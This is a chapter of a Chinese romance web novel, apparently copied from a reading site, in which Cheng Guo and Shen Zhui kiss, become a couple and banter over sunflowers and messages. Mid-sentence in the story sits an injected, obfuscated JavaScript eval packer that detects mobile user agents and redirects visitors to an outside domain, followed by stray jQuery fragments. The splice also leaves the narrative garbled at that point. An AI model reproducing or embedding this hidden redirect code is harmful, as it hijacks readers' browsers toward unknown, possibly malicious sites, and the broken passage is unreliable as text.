程果和沈骓接过几次吻，除了第一次是她主动，剩下几次都是沈骓，即便是第一次，她只捧着他的脸，吻了吻他唇角，他便夺过主动权。


    少年的掌心总是炽热的，胸膛是，呼吸是，吻也是。


    这次却是例外。


    沈骓明显在置气，抿着唇不接招，程果眨着眼睫，唇递上去，先清浅地亲了下他唇角，又去吻他唇珠。


    他的上唇薄，唇珠却饱满，程果含住他的唇珠时鼻尖亲昵地蹭过他的鼻尖，沈骓明显在控制身体的颤栗，很热的呼吸一下一下落在她唇上，没过多久，那感觉不见了，程果稍稍抬睫，距离太近，眼下他的面容几近迷糊，她单手攀上他后颈，身体贴上他的，张开齿缝去咬他的下唇，那力道很轻，却像开了一道闸门，他的鼻息再度落在她唇上。


    他的下唇比上唇略厚，有些肉感，程果在网上刷到过有关他的帖子，评论里一群小姑娘叽叽喳喳讨论他的嘴唇，说这样的唇形最适合接吻。


    她想，是这样的。


    沈骓整个人气压很低，全身肌肉紧绷，双唇依旧抿着，这让程果咬起来有些费力，齿尖从他的唇上滑过。


    房间内黑暗一片，空气热燥燥的，缠着他领带的掌心湿潮，她摸上他脸颊，身体和他分开些许，仰起头，望进他压抑怒气的眼眸，静静看了一会儿后指尖点着他的下唇笑说：“真的不想和我接吻啊。”


    墙角的灯光在这时暗了下去，已经适应黑暗的眼眸仍旧能看清彼此眼睛里的光，沈骓如一头受伤的小兽，任她抱着，贴着，他的眼眶漫出明显的湿润，胸口起伏，呼吸越来越重。


    “就会欺负我。”


    他几乎是咬牙切齿地开口，抱着她转身，将她压在门上，低下头重重吻她。


    沈骓的力道没有收敛，程果的后背几乎是撞上去的，在寂静的夜里砰的一声。他一手搂住她的腰，将她紧压向自己，一手卡在她颈后，气势汹汹地碾压她唇瓣，像是要把所有怒气、不满、委屈悉数发泄在这个吻里，程果很快呼吸不畅，舌根被吮得发麻，唇角被两人的津液润湿。


    她伸手抗拒地去推他胸口，被他抓住手腕，反扣到背后，压紧，继续吻她。


    她被他轻松压在门上，他高大的身体完全罩住她，她的那点力气他那里真的不算什么。


    手脚发软，脑子里一片模糊，就在她要融化在他的吻里时，程果眉心一蹙，轻哼一声，丝丝缕缕的刺痛感传来，沈骓犬齿碾磨过她的舌尖，细小圆润的血珠滚出，又被抿捻在二人舌尖。


    她开始后悔刚刚逗他。


    掌心缠绕的领带此刻成为枷锁，困住她一只手臂，指尖紧扣住他肩，另只手臂被他扣在背后，箍住她手腕的掌心出了汗，却依旧将她抓得极牢，不给她一丝逃脱的空隙。


    沈骓终于松开她时，周遭只有两人凌乱的呼吸声，他汗湿的额头抵着她的，潮热的呼吸缠着她的，指腹缓慢摩挲她的后颈。


    她的后背出了汗，胸口出了汗，眼角被逼出湿哒哒的泪痕，整个人手软脚软，全凭他扣住她的力量在支撑。


    “喜欢和我接吻吗？”沈骓轻喘着问她。


    “喜欢。”她以同样的呼吸频率回他。


    “喜欢我吗？”


    “喜欢。”


    “喜欢和我谈恋爱吗？”


    门上被人敲了两下，有人在外面问“有人在吗？”


    沈骓没管，扣着她手腕，以更低哑的声音软下语调：“别再钓我了，和我谈恋爱，好不好？”


    程果眼睛弯成月，笑了一声，还没回答，又被他堵住唇，眼尾红红的大男孩抵着她亲了一会儿才放开，咬牙切齿地给自己摆正地位。


    “程果，我就是你男朋友。”


    唇上酥酥麻麻的感觉还没退去，程果的心软成一团，想抱着他继续接吻，想被他抱着继续接吻，可门外的人还在敲，她的手机不知道震了几轮，她安抚地抬起头亲亲他的下巴，“先开门，签收你的礼物。”


    沈骓半颗心被她吊在那，将信将疑地松开她手腕，扯下领带，又整理好凌乱的领口，这才打开门。


    楼道里的灯光倾泻进来，等待许久的骑手擦着汗抱怨一句“还以为家里没有人”，将怀里的东西塞过来后转身走了。


    房间里的灯光陡然亮起，沈骓不适地眯了下眼，低头看向怀里的花。


    巨大的向日葵花束占满他的怀抱，外层包装纸上别着一张卡片，只写着一行字——


    入目无他人。


    巨大的喜悦上涌，沈骓神经紧张地绷着，关上门往里去寻人，叭嗒一声，一个袋子掉在地上。


    是骑手刚刚一起塞过来的袋子。


    沈骓俯身捡起，看清里面的东西时喉结一滚，耳尖泛上血色。


    他捡起盒子握紧，掌心硌出清晰的直痕，往里走了几步转到客厅时程果正推开卧室门。


    “程医生，这是什么意思？”


    心情转好，连称呼都随意起来。


    程果侧身看了一眼，弯唇朝他笑，“不和男朋友只接吻的意思。”


    有什么在血液里沸腾，沈骓迈开大步追过去，还是迟了一步。


    房门在他面前合拢，程果的笑容关在门后。


    明明已经笑到合不拢嘴，他仍气势汹汹地敲门，凶巴巴叫她名字：“程果，开门！”


    同样凶巴巴的语调出现在门后，他猜她正后背抵着门，“叫谁呢？”


    沈骓声音一秒恢复正常：“程医生。”


    里面懒洋洋地笑一声，门没开。


    他声音放软：“女朋友。”


    门内没了动静。


    再放软：“姐姐。”


    门倏地打开，程果探身抓住他领口，将他拉了过去，两人迅速靠近，中间的花束包装发出被挤压的脆响，唇被更柔软的唇贴住，沈骓还没来得及体味，她已经放开他，将他推出门外，咔嚓一声，门再度关上。


    前后不过五秒。


    “我要换衣服。”程果说完转身躺到床上，捂着自己的脸颊在床上打了个滚儿。


    不止是沈骓，她也需要适应自己的新身份。


    女朋友的新身份。


    有人却不给她时间，手机叮叮咚咚响个不停。


    沈骓拍下花束上的卡片，问她：【这是什么意思】


    程果翻身趴在床上回他：【明知故问】


    那边很快回复过来：【我不知道，你说】


    【程果：向日葵的花语，自己搜】


    【耶耶：网坏了，搜不了】


    【程果：那你在用什么跟我发消息】


    【耶耶：手机】


    【程果：……】


    【耶耶：我网就是坏了】


    【耶耶：你搜完发给我】


    程果笑得趴在床上，有的人为了听几句甜言蜜语，脸都不要了。


    她手肘撑在床上，脚丫晃了晃，一字一字回他：【沉默的爱】


    对面沉默几秒，一条语音递了过来，程果点开，沈骓略带委屈的声线透过扬声器送达她耳边：


    “你就不能哄哄我，说句好听的吗。”


    程果的心脏猛跳一下，捂着心口在床上躺了一会儿，摁开语音，将手机贴在唇边，“入目无他人，四处都是你。”


    说完她把手机丢在一边，一边暗骂自己幼稚，一边想谈恋爱都是这样肉麻的吗，还不忘去捂自己漫上血色的脖子，一直到温度降下去，才查看他发来的信息。


    他这次只发了三个字：【我也是】。


    程果感觉自己脖子上的血色又上来了。


    等她恢复好出去时，沈骓正从浴室出来，擦着湿漉漉的头发，他换上了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477233|182803||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    居家方便的宽大Ｔ恤和运动短裤，一副清爽男大模样，程果略带遗憾地扫了一眼还没收起来的衬衣西裤，朝卫生间走去。


    经过餐桌时瞟了一眼，那束向日葵被沈骓安置在这里，小屋一角生机勃勃。


    浴室朦胧的湿气还没散尽，空气中清新的薄荷香若有似无。


    程果低着头拿过牙膏，脖子上忽地一凉，有水滴落在上面，抬起头时与揉着湿发进来的沈骓对视上。


    沈骓的表情其实很收敛，只唇角微翘，程果却还是读出了眉眼飞扬的喜悦，她弯唇低下头，牙膏挤完时肩膀被人一拱，沈骓硬挤到她身边，冰冰凉的手臂挨着她的，也挤起牙膏，眉眼半抬不抬，用余光偷看她。


    虽然沈骓以前也粘人，可从没让程果觉得这么腻歪，甜丝丝的海潮在胸腔里涌动，她压着笑容去刷牙，舌尖刺痛时一蹙眉，时刻关注她的沈骓立马扭过头，两指捏住她腮颊，“给我看看。”


    程果被迫扭头，张开唇，露出齿关间的舌尖。


    她皱了一下眉，脖子一歪，沈骓跟着她歪过头，低下头看了两眼，歉疚地道歉：“亲的时候没控制好力度。”


    从鼻腔哼出一个音节，程果瞪他一眼，拍开他手继续皱着眉头刷牙，话语含糊不清：“有这么对姐姐的吗？”


    “有这么对男朋友的吗，”沈骓小声嘟囔，“把我钓成什么样儿了。”


    “什么样儿？”程果漱了口，憋笑问他。


    沈骓幽怨地看她一眼，“再不答应只能给你做地下情人。”


    这倒让程果来了兴致，她扬了下眉毛，单手撑在台面上侧着身上下打量他，一脸兴味盎然，好像真的有这种打算。


    “你现在想都别想。”


    沈骓恨恨地刷起牙，含糊不清地跟她表达完“一经售出概不支持退货”，之后一眼一眼地瞥她，像是有话要说。


    “说吧。”程果靠在台边侧眼看他。


    “我能官宣吗？”沈骓低声问。


    “能，”程果抱着手臂，十分无情，“上热搜就分手。”


    笑容还没爬上眼睛就被吓得退了回去，沈骓可不想谈恋爱第一天就被甩，他皱眉思索，提出一种可能，“万一被拍到怎么办？”


    “有钱撤吗？”


    “有，”沈骓看一眼程果眯起的眼睛，忙改口，“再挣钱就有。”


    他放软了声音，将他那一点小心思真诚托出，“可我想让人知道你是我女朋友。”


    “半条命都被钓没了才有的女朋友。”


    “我是你女朋友的事不会变。”


    程果笑着推他往出门，如果真的被拍到，对她来说最多就是于慕英提早知道她的恋爱对象，并不会有其他影响，对于沈骓就不好说了，虽然他靠实力立足，但是仍旧离不开粉丝的真心支持，她无法判断他真的官宣恋情带来的事业上的冲击。


    “如果真的被拍那就被拍，但是，”她将他推到门外，“你不许在这上面跟我耍心眼。”


    “……怎么可能。”沈骓心虚地目光偏向一侧，“我先去跟祁姐打个招呼。”


    他目光挪回来一瞬又移开，“我等你出来。”


    意有所指的一句话说得程果心口怦怦直跳，洗完澡出来时沈骓正在阳台打电话，模糊的年轻女人声调吐出耐人寻味的字眼，程果眼神递过去，正与听到动静回过头的沈骓四目相接，他目光在她身上定了一瞬，喉结滚动着背过身去，不大耐烦地说“知道”，又问“说完了没”。


    这通电话不知道要再打多久，程果没再听也没再等，回到房间把门关上，关上灯，拥着被子躺好。


    手机里的消息积攒了许多条，她拿过手机正要回复，窗上被敲了两下。


    沈骓将窗完全打开，撑着手臂轻松跃进来，拖腔带调讨伐她。


    “睡觉怎么不等我。”